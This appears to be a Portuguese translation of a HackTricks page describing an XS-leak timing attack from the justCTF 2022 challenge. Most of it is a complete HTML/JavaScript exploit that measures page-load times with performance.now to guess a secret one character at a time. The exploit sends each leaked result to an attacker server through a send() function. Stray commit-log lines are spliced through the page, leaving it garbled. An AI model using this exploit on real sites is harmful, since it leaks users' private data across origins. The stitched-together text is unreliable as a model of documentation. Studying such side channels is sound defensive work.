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hacktricks/pentesting-web/xs-search/performance.now-+-force-heavy-task.md

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Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
2024-07-19 16:14:51 +00:00
# performance.now + Force heavy task
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
GitBook: [#3730] No subject
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<details>
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<summary>Support HackTricks</summary>
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
GitBook: [#3730] No subject
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</details>
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
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{% endhint %}
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Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti
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**Exploit retirado de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
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Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
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Neste desafio, o usuário poderia enviar milhares de caracteres e, se a flag estivesse contida, os caracteres seriam enviados de volta para o bot. Assim, ao colocar uma grande quantidade de caracteres, o atacante poderia medir se a flag estava contida na string enviada ou não.
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{% hint style="warning" %}
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Inicialmente, eu não defini a largura e altura do objeto, mas depois descobri que é importante porque o tamanho padrão é muito pequeno para fazer diferença no tempo de carregamento.
GitBook: [#3730] No subject
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{% endhint %}
```html
<!DOCTYPE html>
<html>
<head>
</head>
<body>
Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti
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<img src="https://deelay.me/30000/https://example.com">
<script>
fetch('https://deelay.me/30000/https://example.com')
function send(data) {
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
}
function leak(char, callback) {
return new Promise(resolve => {
let ss = 'just_random_string'
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement('object');
object.width = '2000px'
object.height = '2000px'
object.data = url;
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log('Error event triggered');
document.body.appendChild(object);
})
}
send('start')
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
let flag = 'justCTF{'
async function main() {
let found = 0
let notFound = 0
for(let i=0;i<3;i++) {
await leak('..')
}
for(let i=0; i<3; i++) {
found += await leak('justCTF')
}
for(let i=0; i<3; i++) {
notFound += await leak('NOT_FOUND123')
}
found /= 3
notFound /= 3
send('found flag:'+found)
send('not found flag:'+notFound)
let threshold = found - ((found - notFound)/2)
send('threshold:'+threshold)
if (notFound > found) {
return
}
// exploit
while(true) {
if (flag[flag.length - 1] === '}') {
break
}
for(let char of charset) {
let trying = flag + char
let time = 0
for(let i=0; i<3; i++) {
time += await leak(trying)
}
time/=3
send('char:'+trying+',time:'+time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}
main()
</script>
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</body>
</html>
```
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
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{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
GitBook: [#3730] No subject
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<details>
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
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<summary>Suporte ao HackTricks</summary>
GitBook: [#3730] No subject
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Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
GitBook: [#3730] No subject
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</details>
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
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{% endhint %}
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